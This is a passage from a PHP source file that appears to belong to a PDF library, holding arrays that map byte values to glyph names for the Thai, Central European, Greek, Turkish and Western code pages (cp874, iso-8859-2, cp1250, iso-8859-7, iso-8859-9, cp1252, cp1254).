224=>'upsilondieresistonos',225=>'alpha',226=>'beta',227=>'gamma',228=>'delta',229=>'epsilon',230=>'zeta',231=>'eta', 232=>'theta',233=>'iota',234=>'kappa',235=>'lambda',236=>'mu',237=>'nu',238=>'xi',239=>'omicron', 240=>'pi',241=>'rho',242=>'sigma1',243=>'sigma',244=>'tau',245=>'upsilon',246=>'phi',247=>'chi', 248=>'psi',249=>'omega',250=>'iotadieresis',251=>'upsilondieresis',252=>'omicrontonos',253=>'upsilontonos',254=>'omegatonos',255=>'.notdef'), // encoding map for: cp874 'cp874' => array(0=>'.notdef',1=>'.notdef',2=>'.notdef',3=>'.notdef',4=>'.notdef',5=>'.notdef',6=>'.notdef',7=>'.notdef', 8=>'.notdef',9=>'.notdef',10=>'.notdef',11=>'.notdef',12=>'.notdef',13=>'.notdef',14=>'.notdef',15=>'.notdef', 16=>'.notdef',17=>'.notdef',18=>'.notdef',19=>'.notdef',20=>'.notdef',21=>'.notdef',22=>'.notdef',23=>'.notdef', 24=>'.notdef',25=>'.notdef',26=>'.notdef',27=>'.notdef',28=>'.notdef',29=>'.notdef',30=>'.notdef',31=>'.notdef', 32=>'space',33=>'exclam',34=>'quotedbl',35=>'numbersign',36=>'dollar',37=>'percent',38=>'ampersand',39=>'quotesingle', 40=>'parenleft',41=>'parenright',42=>'asterisk',43=>'plus',44=>'comma',45=>'hyphen',46=>'period',47=>'slash', 48=>'zero',49=>'one',50=>'two',51=>'three',52=>'four',53=>'five',54=>'six',55=>'seven', 56=>'eight',57=>'nine',58=>'colon',59=>'semicolon',60=>'less',61=>'equal',62=>'greater',63=>'question', 64=>'at',65=>'A',66=>'B',67=>'C',68=>'D',69=>'E',70=>'F',71=>'G', 72=>'H',73=>'I',74=>'J',75=>'K',76=>'L',77=>'M',78=>'N',79=>'O', 80=>'P',81=>'Q',82=>'R',83=>'S',84=>'T',85=>'U',86=>'V',87=>'W', 88=>'X',89=>'Y',90=>'Z',91=>'bracketleft',92=>'backslash',93=>'bracketright',94=>'asciicircum',95=>'underscore', 96=>'grave',97=>'a',98=>'b',99=>'c',100=>'d',101=>'e',102=>'f',103=>'g', 104=>'h',105=>'i',106=>'j',107=>'k',108=>'l',109=>'m',110=>'n',111=>'o', 112=>'p',113=>'q',114=>'r',115=>'s',116=>'t',117=>'u',118=>'v',119=>'w', 120=>'x',121=>'y',122=>'z',123=>'braceleft',124=>'bar',125=>'braceright',126=>'asciitilde',127=>'.notdef', 128=>'Euro',129=>'.notdef',130=>'.notdef',131=>'.notdef',132=>'.notdef',133=>'ellipsis',134=>'.notdef',135=>'.notdef', 136=>'.notdef',137=>'.notdef',138=>'.notdef',139=>'.notdef',140=>'.notdef',141=>'.notdef',142=>'.notdef',143=>'.notdef', 144=>'.notdef',145=>'quoteleft',146=>'quoteright',147=>'quotedblleft',148=>'quotedblright',149=>'bullet',150=>'endash',151=>'emdash', 152=>'.notdef',153=>'.notdef',154=>'.notdef',155=>'.notdef',156=>'.notdef',157=>'.notdef',158=>'.notdef',159=>'.notdef', 160=>'space',161=>'kokaithai',162=>'khokhaithai',163=>'khokhuatthai',164=>'khokhwaithai',165=>'khokhonthai',166=>'khorakhangthai',167=>'ngonguthai', 168=>'chochanthai',169=>'chochingthai',170=>'chochangthai',171=>'sosothai',172=>'chochoethai',173=>'yoyingthai',174=>'dochadathai',175=>'topatakthai', 176=>'thothanthai',177=>'thonangmonthothai',178=>'thophuthaothai',179=>'nonenthai',180=>'dodekthai',181=>'totaothai',182=>'thothungthai',183=>'thothahanthai', 184=>'thothongthai',185=>'nonuthai',186=>'bobaimaithai',187=>'poplathai',188=>'phophungthai',189=>'fofathai',190=>'phophanthai',191=>'fofanthai', 192=>'phosamphaothai',193=>'momathai',194=>'yoyakthai',195=>'roruathai',196=>'ruthai',197=>'lolingthai',198=>'luthai',199=>'wowaenthai', 200=>'sosalathai',201=>'sorusithai',202=>'sosuathai',203=>'hohipthai',204=>'lochulathai',205=>'oangthai',206=>'honokhukthai',207=>'paiyannoithai', 208=>'saraathai',209=>'maihanakatthai',210=>'saraaathai',211=>'saraamthai',212=>'saraithai',213=>'saraiithai',214=>'sarauethai',215=>'saraueethai', 216=>'sarauthai',217=>'sarauuthai',218=>'phinthuthai',219=>'.notdef',220=>'.notdef',221=>'.notdef',222=>'.notdef',223=>'bahtthai', 224=>'saraethai',225=>'saraaethai',226=>'saraothai',227=>'saraaimaimuanthai',228=>'saraaimaimalaithai',229=>'lakkhangyaothai',230=>'maiyamokthai',231=>'maitaikhuthai', 232=>'maiekthai',233=>'maithothai',234=>'maitrithai',235=>'maichattawathai',236=>'thanthakhatthai',237=>'nikhahitthai',238=>'yamakkanthai',239=>'fongmanthai', 240=>'zerothai',241=>'onethai',242=>'twothai',243=>'threethai',244=>'fourthai',245=>'fivethai',246=>'sixthai',247=>'seventhai', 248=>'eightthai',249=>'ninethai',250=>'angkhankhuthai',251=>'khomutthai',252=>'.notdef',253=>'.notdef',254=>'.notdef',255=>'.notdef'), // encoding map for: iso-8859-2 'iso-8859-2' => array(0=>'.notdef',1=>'.notdef',2=>'.notdef',3=>'.notdef',4=>'.notdef',5=>'.notdef',6=>'.notdef',7=>'.notdef', 8=>'.notdef',9=>'.notdef',10=>'.notdef',11=>'.notdef',12=>'.notdef',13=>'.notdef',14=>'.notdef',15=>'.notdef', 16=>'.notdef',17=>'.notdef',18=>'.notdef',19=>'.notdef',20=>'.notdef',21=>'.notdef',22=>'.notdef',23=>'.notdef', 24=>'.notdef',25=>'.notdef',26=>'.notdef',27=>'.notdef',28=>'.notdef',29=>'.notdef',30=>'.notdef',31=>'.notdef', 32=>'space',33=>'exclam',34=>'quotedbl',35=>'numbersign',36=>'dollar',37=>'percent',38=>'ampersand',39=>'quotesingle', 40=>'parenleft',41=>'parenright',42=>'asterisk',43=>'plus',44=>'comma',45=>'hyphen',46=>'period',47=>'slash', 48=>'zero',49=>'one',50=>'two',51=>'three',52=>'four',53=>'five',54=>'six',55=>'seven', 56=>'eight',57=>'nine',58=>'colon',59=>'semicolon',60=>'less',61=>'equal',62=>'greater',63=>'question', 64=>'at',65=>'A',66=>'B',67=>'C',68=>'D',69=>'E',70=>'F',71=>'G', 72=>'H',73=>'I',74=>'J',75=>'K',76=>'L',77=>'M',78=>'N',79=>'O', 80=>'P',81=>'Q',82=>'R',83=>'S',84=>'T',85=>'U',86=>'V',87=>'W', 88=>'X',89=>'Y',90=>'Z',91=>'bracketleft',92=>'backslash',93=>'bracketright',94=>'asciicircum',95=>'underscore', 96=>'grave',97=>'a',98=>'b',99=>'c',100=>'d',101=>'e',102=>'f',103=>'g', 104=>'h',105=>'i',106=>'j',107=>'k',108=>'l',109=>'m',110=>'n',111=>'o', 112=>'p',113=>'q',114=>'r',115=>'s',116=>'t',117=>'u',118=>'v',119=>'w', 120=>'x',121=>'y',122=>'z',123=>'braceleft',124=>'bar',125=>'braceright',126=>'asciitilde',127=>'.notdef', 128=>'.notdef',129=>'.notdef',130=>'.notdef',131=>'.notdef',132=>'.notdef',133=>'.notdef',134=>'.notdef',135=>'.notdef', 136=>'.notdef',137=>'.notdef',138=>'.notdef',139=>'.notdef',140=>'.notdef',141=>'.notdef',142=>'.notdef',143=>'.notdef', 144=>'.notdef',145=>'.notdef',146=>'.notdef',147=>'.notdef',148=>'.notdef',149=>'.notdef',150=>'.notdef',151=>'.notdef', 152=>'.notdef',153=>'.notdef',154=>'.notdef',155=>'.notdef',156=>'.notdef',157=>'.notdef',158=>'.notdef',159=>'.notdef', 160=>'space',161=>'Aogonek',162=>'breve',163=>'Lslash',164=>'currency',165=>'Lcaron',166=>'Sacute',167=>'section', 168=>'dieresis',169=>'Scaron',170=>'Scedilla',171=>'Tcaron',172=>'Zacute',173=>'hyphen',174=>'Zcaron',175=>'Zdotaccent', 176=>'degree',177=>'aogonek',178=>'ogonek',179=>'lslash',180=>'acute',181=>'lcaron',182=>'sacute',183=>'caron', 184=>'cedilla',185=>'scaron',186=>'scedilla',187=>'tcaron',188=>'zacute',189=>'hungarumlaut',190=>'zcaron',191=>'zdotaccent', 192=>'Racute',193=>'Aacute',194=>'Acircumflex',195=>'Abreve',196=>'Adieresis',197=>'Lacute',198=>'Cacute',199=>'Ccedilla', 200=>'Ccaron',201=>'Eacute',202=>'Eogonek',203=>'Edieresis',204=>'Ecaron',205=>'Iacute',206=>'Icircumflex',207=>'Dcaron', 208=>'Dcroat',209=>'Nacute',210=>'Ncaron',211=>'Oacute',212=>'Ocircumflex',213=>'Ohungarumlaut',214=>'Odieresis',215=>'multiply', 216=>'Rcaron',217=>'Uring',218=>'Uacute',219=>'Uhungarumlaut',220=>'Udieresis',221=>'Yacute',222=>'Tcommaaccent',223=>'germandbls', 224=>'racute',225=>'aacute',226=>'acircumflex',227=>'abreve',228=>'adieresis',229=>'lacute',230=>'cacute',231=>'ccedilla', 232=>'ccaron',233=>'eacute',234=>'eogonek',235=>'edieresis',236=>'ecaron',237=>'iacute',238=>'icircumflex',239=>'dcaron', 240=>'dcroat',241=>'nacute',242=>'ncaron',243=>'oacute',244=>'ocircumflex',245=>'ohungarumlaut',246=>'odieresis',247=>'divide', 248=>'rcaron',249=>'uring',250=>'uacute',251=>'uhungarumlaut',252=>'udieresis',253=>'yacute',254=>'tcommaaccent',255=>'dotaccent'), // encoding map for: cp1250 'cp1250' => array(0=>'.notdef',1=>'.notdef',2=>'.notdef',3=>'.notdef',4=>'.notdef',5=>'.notdef',6=>'.notdef',7=>'.notdef', 8=>'.notdef',9=>'.notdef',10=>'.notdef',11=>'.notdef',12=>'.notdef',13=>'.notdef',14=>'.notdef',15=>'.notdef', 16=>'.notdef',17=>'.notdef',18=>'.notdef',19=>'.notdef',20=>'.notdef',21=>'.notdef',22=>'.notdef',23=>'.notdef', 24=>'.notdef',25=>'.notdef',26=>'.notdef',27=>'.notdef',28=>'.notdef',29=>'.notdef',30=>'.notdef',31=>'.notdef', 32=>'space',33=>'exclam',34=>'quotedbl',35=>'numbersign',36=>'dollar',37=>'percent',38=>'ampersand',39=>'quotesingle', 40=>'parenleft',41=>'parenright',42=>'asterisk',43=>'plus',44=>'comma',45=>'hyphen',46=>'period',47=>'slash', 48=>'zero',49=>'one',50=>'two',51=>'three',52=>'four',53=>'five',54=>'six',55=>'seven', 56=>'eight',57=>'nine',58=>'colon',59=>'semicolon',60=>'less',61=>'equal',62=>'greater',63=>'question', 64=>'at',65=>'A',66=>'B',67=>'C',68=>'D',69=>'E',70=>'F',71=>'G', 72=>'H',73=>'I',74=>'J',75=>'K',76=>'L',77=>'M',78=>'N',79=>'O', 80=>'P',81=>'Q',82=>'R',83=>'S',84=>'T',85=>'U',86=>'V',87=>'W', 88=>'X',89=>'Y',90=>'Z',91=>'bracketleft',92=>'backslash',93=>'bracketright',94=>'asciicircum',95=>'underscore', 96=>'grave',97=>'a',98=>'b',99=>'c',100=>'d',101=>'e',102=>'f',103=>'g', 104=>'h',105=>'i',106=>'j',107=>'k',108=>'l',109=>'m',110=>'n',111=>'o', 112=>'p',113=>'q',114=>'r',115=>'s',116=>'t',117=>'u',118=>'v',119=>'w', 120=>'x',121=>'y',122=>'z',123=>'braceleft',124=>'bar',125=>'braceright',126=>'asciitilde',127=>'.notdef', 128=>'Euro',129=>'.notdef',130=>'quotesinglbase',131=>'.notdef',132=>'quotedblbase',133=>'ellipsis',134=>'dagger',135=>'daggerdbl', 136=>'.notdef',137=>'perthousand',138=>'Scaron',139=>'guilsinglleft',140=>'Sacute',141=>'Tcaron',142=>'Zcaron',143=>'Zacute', 144=>'.notdef',145=>'quoteleft',146=>'quoteright',147=>'quotedblleft',148=>'quotedblright',149=>'bullet',150=>'endash',151=>'emdash', 152=>'.notdef',153=>'trademark',154=>'scaron',155=>'guilsinglright',156=>'sacute',157=>'tcaron',158=>'zcaron',159=>'zacute', 160=>'space',161=>'caron',162=>'breve',163=>'Lslash',164=>'currency',165=>'Aogonek',166=>'brokenbar',167=>'section', 168=>'dieresis',169=>'copyright',170=>'Scedilla',171=>'guillemotleft',172=>'logicalnot',173=>'hyphen',174=>'registered',175=>'Zdotaccent', 176=>'degree',177=>'plusminus',178=>'ogonek',179=>'lslash',180=>'acute',181=>'mu',182=>'paragraph',183=>'periodcentered', 184=>'cedilla',185=>'aogonek',186=>'scedilla',187=>'guillemotright',188=>'Lcaron',189=>'hungarumlaut',190=>'lcaron',191=>'zdotaccent', 192=>'Racute',193=>'Aacute',194=>'Acircumflex',195=>'Abreve',196=>'Adieresis',197=>'Lacute',198=>'Cacute',199=>'Ccedilla', 200=>'Ccaron',201=>'Eacute',202=>'Eogonek',203=>'Edieresis',204=>'Ecaron',205=>'Iacute',206=>'Icircumflex',207=>'Dcaron', 208=>'Dcroat',209=>'Nacute',210=>'Ncaron',211=>'Oacute',212=>'Ocircumflex',213=>'Ohungarumlaut',214=>'Odieresis',215=>'multiply', 216=>'Rcaron',217=>'Uring',218=>'Uacute',219=>'Uhungarumlaut',220=>'Udieresis',221=>'Yacute',222=>'Tcommaaccent',223=>'germandbls', 224=>'racute',225=>'aacute',226=>'acircumflex',227=>'abreve',228=>'adieresis',229=>'lacute',230=>'cacute',231=>'ccedilla', 232=>'ccaron',233=>'eacute',234=>'eogonek',235=>'edieresis',236=>'ecaron',237=>'iacute',238=>'icircumflex',239=>'dcaron', 240=>'dcroat',241=>'nacute',242=>'ncaron',243=>'oacute',244=>'ocircumflex',245=>'ohungarumlaut',246=>'odieresis',247=>'divide', 248=>'rcaron',249=>'uring',250=>'uacute',251=>'uhungarumlaut',252=>'udieresis',253=>'yacute',254=>'tcommaaccent',255=>'dotaccent'), // encoding map for: iso-8859-7 'iso-8859-7' => array(0=>'.notdef',1=>'.notdef',2=>'.notdef',3=>'.notdef',4=>'.notdef',5=>'.notdef',6=>'.notdef',7=>'.notdef', 8=>'.notdef',9=>'.notdef',10=>'.notdef',11=>'.notdef',12=>'.notdef',13=>'.notdef',14=>'.notdef',15=>'.notdef', 16=>'.notdef',17=>'.notdef',18=>'.notdef',19=>'.notdef',20=>'.notdef',21=>'.notdef',22=>'.notdef',23=>'.notdef', 24=>'.notdef',25=>'.notdef',26=>'.notdef',27=>'.notdef',28=>'.notdef',29=>'.notdef',30=>'.notdef',31=>'.notdef', 32=>'space',33=>'exclam',34=>'quotedbl',35=>'numbersign',36=>'dollar',37=>'percent',38=>'ampersand',39=>'quotesingle', 40=>'parenleft',41=>'parenright',42=>'asterisk',43=>'plus',44=>'comma',45=>'hyphen',46=>'period',47=>'slash', 48=>'zero',49=>'one',50=>'two',51=>'three',52=>'four',53=>'five',54=>'six',55=>'seven', 56=>'eight',57=>'nine',58=>'colon',59=>'semicolon',60=>'less',61=>'equal',62=>'greater',63=>'question', 64=>'at',65=>'A',66=>'B',67=>'C',68=>'D',69=>'E',70=>'F',71=>'G', 72=>'H',73=>'I',74=>'J',75=>'K',76=>'L',77=>'M',78=>'N',79=>'O', 80=>'P',81=>'Q',82=>'R',83=>'S',84=>'T',85=>'U',86=>'V',87=>'W', 88=>'X',89=>'Y',90=>'Z',91=>'bracketleft',92=>'backslash',93=>'bracketright',94=>'asciicircum',95=>'underscore', 96=>'grave',97=>'a',98=>'b',99=>'c',100=>'d',101=>'e',102=>'f',103=>'g', 104=>'h',105=>'i',106=>'j',107=>'k',108=>'l',109=>'m',110=>'n',111=>'o', 112=>'p',113=>'q',114=>'r',115=>'s',116=>'t',117=>'u',118=>'v',119=>'w', 120=>'x',121=>'y',122=>'z',123=>'braceleft',124=>'bar',125=>'braceright',126=>'asciitilde',127=>'.notdef', 128=>'.notdef',129=>'.notdef',130=>'.notdef',131=>'.notdef',132=>'.notdef',133=>'.notdef',134=>'.notdef',135=>'.notdef', 136=>'.notdef',137=>'.notdef',138=>'.notdef',139=>'.notdef',140=>'.notdef',141=>'.notdef',142=>'.notdef',143=>'.notdef', 144=>'.notdef',145=>'.notdef',146=>'.notdef',147=>'.notdef',148=>'.notdef',149=>'.notdef',150=>'.notdef',151=>'.notdef', 152=>'.notdef',153=>'.notdef',154=>'.notdef',155=>'.notdef',156=>'.notdef',157=>'.notdef',158=>'.notdef',159=>'.notdef', 160=>'space',161=>'quoteleft',162=>'quoteright',163=>'sterling',164=>'.notdef',165=>'.notdef',166=>'brokenbar',167=>'section', 168=>'dieresis',169=>'copyright',170=>'.notdef',171=>'guillemotleft',172=>'logicalnot',173=>'hyphen',174=>'.notdef',175=>'afii00208', 176=>'degree',177=>'plusminus',178=>'twosuperior',179=>'threesuperior',180=>'tonos',181=>'dieresistonos',182=>'Alphatonos',183=>'periodcentered', 184=>'Epsilontonos',185=>'Etatonos',186=>'Iotatonos',187=>'guillemotright',188=>'Omicrontonos',189=>'onehalf',190=>'Upsilontonos',191=>'Omegatonos', 192=>'iotadieresistonos',193=>'Alpha',194=>'Beta',195=>'Gamma',196=>'Delta',197=>'Epsilon',198=>'Zeta',199=>'Eta', 200=>'Theta',201=>'Iota',202=>'Kappa',203=>'Lambda',204=>'Mu',205=>'Nu',206=>'Xi',207=>'Omicron', 208=>'Pi',209=>'Rho',210=>'.notdef',211=>'Sigma',212=>'Tau',213=>'Upsilon',214=>'Phi',215=>'Chi', 216=>'Psi',217=>'Omega',218=>'Iotadieresis',219=>'Upsilondieresis',220=>'alphatonos',221=>'epsilontonos',222=>'etatonos',223=>'iotatonos', 224=>'upsilondieresistonos',225=>'alpha',226=>'beta',227=>'gamma',228=>'delta',229=>'epsilon',230=>'zeta',231=>'eta', 232=>'theta',233=>'iota',234=>'kappa',235=>'lambda',236=>'mu',237=>'nu',238=>'xi',239=>'omicron', 240=>'pi',241=>'rho',242=>'sigma1',243=>'sigma',244=>'tau',245=>'upsilon',246=>'phi',247=>'chi', 248=>'psi',249=>'omega',250=>'iotadieresis',251=>'upsilondieresis',252=>'omicrontonos',253=>'upsilontonos',254=>'omegatonos',255=>'.notdef'), // encoding map for: iso-8859-9 'iso-8859-9' => array(0=>'.notdef',1=>'.notdef',2=>'.notdef',3=>'.notdef',4=>'.notdef',5=>'.notdef',6=>'.notdef',7=>'.notdef', 8=>'.notdef',9=>'.notdef',10=>'.notdef',11=>'.notdef',12=>'.notdef',13=>'.notdef',14=>'.notdef',15=>'.notdef', 16=>'.notdef',17=>'.notdef',18=>'.notdef',19=>'.notdef',20=>'.notdef',21=>'.notdef',22=>'.notdef',23=>'.notdef', 24=>'.notdef',25=>'.notdef',26=>'.notdef',27=>'.notdef',28=>'.notdef',29=>'.notdef',30=>'.notdef',31=>'.notdef', 32=>'space',33=>'exclam',34=>'quotedbl',35=>'numbersign',36=>'dollar',37=>'percent',38=>'ampersand',39=>'quotesingle', 40=>'parenleft',41=>'parenright',42=>'asterisk',43=>'plus',44=>'comma',45=>'hyphen',46=>'period',47=>'slash', 48=>'zero',49=>'one',50=>'two',51=>'three',52=>'four',53=>'five',54=>'six',55=>'seven', 56=>'eight',57=>'nine',58=>'colon',59=>'semicolon',60=>'less',61=>'equal',62=>'greater',63=>'question', 64=>'at',65=>'A',66=>'B',67=>'C',68=>'D',69=>'E',70=>'F',71=>'G', 72=>'H',73=>'I',74=>'J',75=>'K',76=>'L',77=>'M',78=>'N',79=>'O', 80=>'P',81=>'Q',82=>'R',83=>'S',84=>'T',85=>'U',86=>'V',87=>'W', 88=>'X',89=>'Y',90=>'Z',91=>'bracketleft',92=>'backslash',93=>'bracketright',94=>'asciicircum',95=>'underscore', 96=>'grave',97=>'a',98=>'b',99=>'c',100=>'d',101=>'e',102=>'f',103=>'g', 104=>'h',105=>'i',106=>'j',107=>'k',108=>'l',109=>'m',110=>'n',111=>'o', 112=>'p',113=>'q',114=>'r',115=>'s',116=>'t',117=>'u',118=>'v',119=>'w', 120=>'x',121=>'y',122=>'z',123=>'braceleft',124=>'bar',125=>'braceright',126=>'asciitilde',127=>'.notdef', 128=>'.notdef',129=>'.notdef',130=>'.notdef',131=>'.notdef',132=>'.notdef',133=>'.notdef',134=>'.notdef',135=>'.notdef', 136=>'.notdef',137=>'.notdef',138=>'.notdef',139=>'.notdef',140=>'.notdef',141=>'.notdef',142=>'.notdef',143=>'.notdef', 144=>'.notdef',145=>'.notdef',146=>'.notdef',147=>'.notdef',148=>'.notdef',149=>'.notdef',150=>'.notdef',151=>'.notdef', 152=>'.notdef',153=>'.notdef',154=>'.notdef',155=>'.notdef',156=>'.notdef',157=>'.notdef',158=>'.notdef',159=>'.notdef', 160=>'space',161=>'exclamdown',162=>'cent',163=>'sterling',164=>'currency',165=>'yen',166=>'brokenbar',167=>'section', 168=>'dieresis',169=>'copyright',170=>'ordfeminine',171=>'guillemotleft',172=>'logicalnot',173=>'hyphen',174=>'registered',175=>'macron', 176=>'degree',177=>'plusminus',178=>'twosuperior',179=>'threesuperior',180=>'acute',181=>'mu',182=>'paragraph',183=>'periodcentered', 184=>'cedilla',185=>'onesuperior',186=>'ordmasculine',187=>'guillemotright',188=>'onequarter',189=>'onehalf',190=>'threequarters',191=>'questiondown', 192=>'Agrave',193=>'Aacute',194=>'Acircumflex',195=>'Atilde',196=>'Adieresis',197=>'Aring',198=>'AE',199=>'Ccedilla', 200=>'Egrave',201=>'Eacute',202=>'Ecircumflex',203=>'Edieresis',204=>'Igrave',205=>'Iacute',206=>'Icircumflex',207=>'Idieresis', 208=>'Gbreve',209=>'Ntilde',210=>'Ograve',211=>'Oacute',212=>'Ocircumflex',213=>'Otilde',214=>'Odieresis',215=>'multiply', 216=>'Oslash',217=>'Ugrave',218=>'Uacute',219=>'Ucircumflex',220=>'Udieresis',221=>'Idotaccent',222=>'Scedilla',223=>'germandbls', 224=>'agrave',225=>'aacute',226=>'acircumflex',227=>'atilde',228=>'adieresis',229=>'aring',230=>'ae',231=>'ccedilla', 232=>'egrave',233=>'eacute',234=>'ecircumflex',235=>'edieresis',236=>'igrave',237=>'iacute',238=>'icircumflex',239=>'idieresis', 240=>'gbreve',241=>'ntilde',242=>'ograve',243=>'oacute',244=>'ocircumflex',245=>'otilde',246=>'odieresis',247=>'divide', 248=>'oslash',249=>'ugrave',250=>'uacute',251=>'ucircumflex',252=>'udieresis',253=>'dotlessi',254=>'scedilla',255=>'ydieresis'), // encoding map for: cp1252 'cp1252' => array(0=>'.notdef',1=>'.notdef',2=>'.notdef',3=>'.notdef',4=>'.notdef',5=>'.notdef',6=>'.notdef',7=>'.notdef', 8=>'.notdef',9=>'.notdef',10=>'.notdef',11=>'.notdef',12=>'.notdef',13=>'.notdef',14=>'.notdef',15=>'.notdef', 16=>'.notdef',17=>'.notdef',18=>'.notdef',19=>'.notdef',20=>'.notdef',21=>'.notdef',22=>'.notdef',23=>'.notdef', 24=>'.notdef',25=>'.notdef',26=>'.notdef',27=>'.notdef',28=>'.notdef',29=>'.notdef',30=>'.notdef',31=>'.notdef', 32=>'space',33=>'exclam',34=>'quotedbl',35=>'numbersign',36=>'dollar',37=>'percent',38=>'ampersand',39=>'quotesingle', 40=>'parenleft',41=>'parenright',42=>'asterisk',43=>'plus',44=>'comma',45=>'hyphen',46=>'period',47=>'slash', 48=>'zero',49=>'one',50=>'two',51=>'three',52=>'four',53=>'five',54=>'six',55=>'seven', 56=>'eight',57=>'nine',58=>'colon',59=>'semicolon',60=>'less',61=>'equal',62=>'greater',63=>'question', 64=>'at',65=>'A',66=>'B',67=>'C',68=>'D',69=>'E',70=>'F',71=>'G', 72=>'H',73=>'I',74=>'J',75=>'K',76=>'L',77=>'M',78=>'N',79=>'O', 80=>'P',81=>'Q',82=>'R',83=>'S',84=>'T',85=>'U',86=>'V',87=>'W', 88=>'X',89=>'Y',90=>'Z',91=>'bracketleft',92=>'backslash',93=>'bracketright',94=>'asciicircum',95=>'underscore', 96=>'grave',97=>'a',98=>'b',99=>'c',100=>'d',101=>'e',102=>'f',103=>'g', 104=>'h',105=>'i',106=>'j',107=>'k',108=>'l',109=>'m',110=>'n',111=>'o', 112=>'p',113=>'q',114=>'r',115=>'s',116=>'t',117=>'u',118=>'v',119=>'w', 120=>'x',121=>'y',122=>'z',123=>'braceleft',124=>'bar',125=>'braceright',126=>'asciitilde',127=>'.notdef', 128=>'Euro',129=>'.notdef',130=>'quotesinglbase',131=>'florin',132=>'quotedblbase',133=>'ellipsis',134=>'dagger',135=>'daggerdbl', 136=>'circumflex',137=>'perthousand',138=>'Scaron',139=>'guilsinglleft',140=>'OE',141=>'.notdef',142=>'Zcaron',143=>'.notdef', 144=>'.notdef',145=>'quoteleft',146=>'quoteright',147=>'quotedblleft',148=>'quotedblright',149=>'bullet',150=>'endash',151=>'emdash', 152=>'tilde',153=>'trademark',154=>'scaron',155=>'guilsinglright',156=>'oe',157=>'.notdef',158=>'zcaron',159=>'Ydieresis', 160=>'space',161=>'exclamdown',162=>'cent',163=>'sterling',164=>'currency',165=>'yen',166=>'brokenbar',167=>'section', 168=>'dieresis',169=>'copyright',170=>'ordfeminine',171=>'guillemotleft',172=>'logicalnot',173=>'hyphen',174=>'registered',175=>'macron', 176=>'degree',177=>'plusminus',178=>'twosuperior',179=>'threesuperior',180=>'acute',181=>'mu',182=>'paragraph',183=>'periodcentered', 184=>'cedilla',185=>'onesuperior',186=>'ordmasculine',187=>'guillemotright',188=>'onequarter',189=>'onehalf',190=>'threequarters',191=>'questiondown', 192=>'Agrave',193=>'Aacute',194=>'Acircumflex',195=>'Atilde',196=>'Adieresis',197=>'Aring',198=>'AE',199=>'Ccedilla', 200=>'Egrave',201=>'Eacute',202=>'Ecircumflex',203=>'Edieresis',204=>'Igrave',205=>'Iacute',206=>'Icircumflex',207=>'Idieresis', 208=>'Eth',209=>'Ntilde',210=>'Ograve',211=>'Oacute',212=>'Ocircumflex',213=>'Otilde',214=>'Odieresis',215=>'multiply', 216=>'Oslash',217=>'Ugrave',218=>'Uacute',219=>'Ucircumflex',220=>'Udieresis',221=>'Yacute',222=>'Thorn',223=>'germandbls', 224=>'agrave',225=>'aacute',226=>'acircumflex',227=>'atilde',228=>'adieresis',229=>'aring',230=>'ae',231=>'ccedilla', 232=>'egrave',233=>'eacute',234=>'ecircumflex',235=>'edieresis',236=>'igrave',237=>'iacute',238=>'icircumflex',239=>'idieresis', 240=>'eth',241=>'ntilde',242=>'ograve',243=>'oacute',244=>'ocircumflex',245=>'otilde',246=>'odieresis',247=>'divide', 248=>'oslash',249=>'ugrave',250=>'uacute',251=>'ucircumflex',252=>'udieresis',253=>'yacute',254=>'thorn',255=>'ydieresis'), // encoding map for: cp1254 'cp1254' => array(0=>'.notdef',1=>'.notdef',2=>'.notdef',3=>'.notdef',4=>'.notdef',5=>'.notdef',6=>'.notdef',7=>'.notdef', 8=>'.notdef',9=>'.notdef',10=>'.notdef',11=>'.notdef',12=>'.notdef',13=>'.notdef',14=>'.notdef',15=>'.notdef', 16=>'.notdef',17=>'.notdef',18=>'.notdef',19=>'.notdef',20=>'.notdef',21=>'.notdef',22=>'.notdef',23=>'.notdef', 24=>'.notdef',25=>'.notdef',26=>'.notdef',27=>'.notdef',28=>'.notdef',29=>'.notdef',30=>'.notdef',31=>'.notdef', 32=>'space',33=>'exclam',34=>'quotedbl',35=>'numbersign',36=>'dollar',37=>'percent',38=>'ampersand',39=>'quotesingle', 40=>'parenleft',41=>'parenright',42=>'asterisk',43=>'plus',44=>'comma',45=>'hyphen',46=>'period',47=>'slash', 48=>'zero',49=>'one',50=>'two',51=>'three',52=>'four',53=>'five',54=>'six',55=>'seven', 56=>'eight',57=>'nine',58=>'colon',59=>'semicolon',60=>'less',61=>'equal',62=>'greater',63=>'question', 64=>'at',65=>'A',66=>'B',67=>'C',68=>'D',69=>'E',70=>'F',71=>'G', 72=>'H',73=>'I',74=>'J',75=>'K',76=>'L',77=>'M',78=>'N',79=>'O', 80=>'P',81=>'Q',82=>'R',83=>'S',84=>'T',85=>'U',86=>'V',87=>'W', 88=>'X',89=>'Y',90=>'Z',91=>'bracketleft',92=>'backslash',93=>'bracketright',94=>'asciicircum',95=>'underscore', 96=>'grave',97=>'a',98=>'b',99=>'c',100=>'d',101=>'e',102=>'f',103=>'g', 104=>'h',105=>'i',106=>'j',107=>'k',108=>'l',109=>'m',110=>'n',111=>'o', 112=>'p',113=>'q',114=>'r',115=>'s',116=>'t',117=>'u',118=>'v',119=>'w', 120=>'x',121=>'y',122=>'z',123=>'braceleft',124=>'bar',125=>'braceright',126=>'asciitilde',127=>'.notdef', 128=>'Euro',129=>'.notdef',130=>'quotesinglbase',131=>'florin',132=>'quotedblbase',133=>'ellipsis',134=>'dagger',135=>'daggerdbl', 136=>'circumflex',137=>'perthousand',138=>'Scaron',139=>'guilsinglleft',140=>'OE',141=>'.notdef',142=>'.notdef',143=>'.notdef', 144=>'.notdef',145=>'quoteleft',146=>'quoteright',147=>'quotedblleft',148=>'quotedblright',149=>'bullet',150=>'endash',151=>'emdash', 152=>'tilde',153=>'trademark',154=>'scaron',155=>'guilsinglright',156=>'oe',157=>'.notdef',158=>'.notdef',159=>'Ydieresis', 160=>'space',161=>'exclamdown',162=>'cent',163=>'sterling',164=>'currency',165=>'yen',166=>'brokenbar',167=>'section', 168=>'dieresis',169=>'copyright',170=>'ordfeminine',171=>'guillemotleft',172=>'logicalnot',173=>'hyphen',174=>'registered',175=>'macron', 176=>'degree',177=>'plusminus',178=>'twosuperior',179=>'threesuperior',180=>'acute',181=>'mu',182=>'paragraph',183=>'periodcentered', 184=>'cedilla',185=>'onesuperior',186=>'ordmasculine',187=>'guillemotright',188=>'onequarter',189=>'onehalf',190=>'threequarters',191=>'questiondown', 192=>'Agrave',193=>'Aacute',194=>'Acircumflex',195=>'Atilde',196=>'Adieresis',197=>'Aring',198=>'AE',199=>'Ccedilla', 